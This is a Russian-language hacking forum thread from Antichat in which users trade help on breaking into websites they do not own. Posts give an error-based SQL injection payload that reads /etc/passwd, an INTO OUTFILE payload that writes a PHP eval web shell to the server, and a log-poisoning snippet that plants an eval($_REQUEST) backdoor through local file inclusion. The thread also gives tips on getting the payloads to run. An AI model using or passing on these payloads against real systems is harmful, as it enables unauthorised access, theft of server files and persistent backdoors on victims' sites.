Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
29.04.2010, 11:18
|
|
Участник форума
Регистрация: 24.08.2009
Сообщений: 172
Провел на форуме:
1535319
Репутация:
-16
|
|
есть шелл..там есть например папка www.xxx.com
и там есть папки например тест1 тест2 и т.д///
тест1 drwxrwxrwx зеленый..тест2 красный..
в тест1 моjно все зделать а в тест2 нелзя ничево (едит уплоад)
кояда откриваеш site автоматичецки откривается папка тест2..как зделат чтоби тест1 откривался..
|
|
|
29.04.2010, 11:50
|
|
Познающий
Регистрация: 16.04.2008
Сообщений: 88
Провел на форуме:
264305
Репутация:
30
|
|
а что, www.xxx.com/test1/shell.php не прокатывает ?
|
|
|
|
30.04.2010, 03:27
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
есть вопрос насчет floor
сделал запрос чтоб прочест файли на сервере:
PHP код:
and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)--
норм выводит но когда доходим до 494 символа то ничего не выводит.
PHP код:
and (select 1 from (select count(0),concat((select+substring(load_file('/etc/passwd'),1,50) LIMIT 0,1),floor(rand(0)*3)) from information_schema.tables group by 2 limit 1,1)a)--
через chat_length проверил но там 677021 символов!!!
Остальные файлы тоже читается до 494 символов. Тут на одного запроса пришлос писать 64символов так как floor большего режет. Но поэтапно тоже не больше 494 ((
Правда запрос через хедер идет. Может кто обьяснит?? И вообше тут можно into outfile делать если прав есть? |
|
|
|
30.04.2010, 09:07
|
|
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979
Репутация:
53
|
|
И вообше тут можно into outfile делать если прав есть?
Именно через floor хочешь? Ведь можно таким методом в подобных условиях лить:
Код:
+limit+1+into+outfile+'/путь_до_папки_доступной_на_запись/shell.php'+lines+terminated+by+"<?php+eval($_REQUEST[ec]);?>"--+
|
|
|
|
30.04.2010, 11:40
|
|
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
Провел на форуме:
556476
Репутация:
66
|
|
спс за ответ но не очень то понял тебя, в каких условиях гриш? Судя по запросу оно должно дополнят мой запрос? Хотя так не пашет
|
|
|
|
30.04.2010, 12:09
|
|
Новичок
Регистрация: 26.04.2010
Сообщений: 26
Провел на форуме:
136979
Репутация:
53
|
|
Сообщение от YuNi|[c
спс за ответ но не очень то понял тебя, в каких условиях гриш? Судя по запросу оно должно дополнят мой запрос? Хотя так не пашет
Когда можно внедрить команды в запрос, и имеется file_priv (естественно кавычки не должны слешироваться)
Обычно такой способ используется в слепых скулях.
|
|
|
|
30.04.2010, 13:20
|
|
Познающий
Регистрация: 17.09.2008
Сообщений: 56
Провел на форуме:
587324
Репутация:
40
|
|
LFI
есть LFI, нашел еrror.log и access.log, access читать не получается т.к. размер большой, остался только еrror.
Делаю запрос вида http://www.site.com/<? траляля ?>
В лог пишется %3C? траляля ?%3E.
Что же делать?)
|
|
|
|
30.04.2010, 13:38
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
<?php file_get_contents('http://lala.com/<?php eval(stripslashes($_REQUEST[lol]));?>');?>
|
|
|
|
30.04.2010, 13:42
|
|
Познающий
Регистрация: 17.09.2008
Сообщений: 56
Провел на форуме:
587324
Репутация:
40
|
|
Сообщение от Pashkela
<?php file_get_contents('http://lala.com/<?php eval(stripslashes($_REQUEST[lol]));?>');?>
[uri "/%3C?php%20file_get_contents('http://lala.com/%3C?php%20eval(stripslashes($_REQUEST[lol]));?%3E');?%3E"]
|
|
|
|
30.04.2010, 13:50
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
ну если ты это в адресную строку прямо все забил, то не удивительно. Ми тебе намекгул как бы, что запрос можно выполнить просто сторонним скриптом, или интекрякерами всякими, как тебе удобнее.
PS: Выполнить запрос сторонним скриптом - это значит выполнить скрипт, а не набирать его код в адресной строке браузера
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
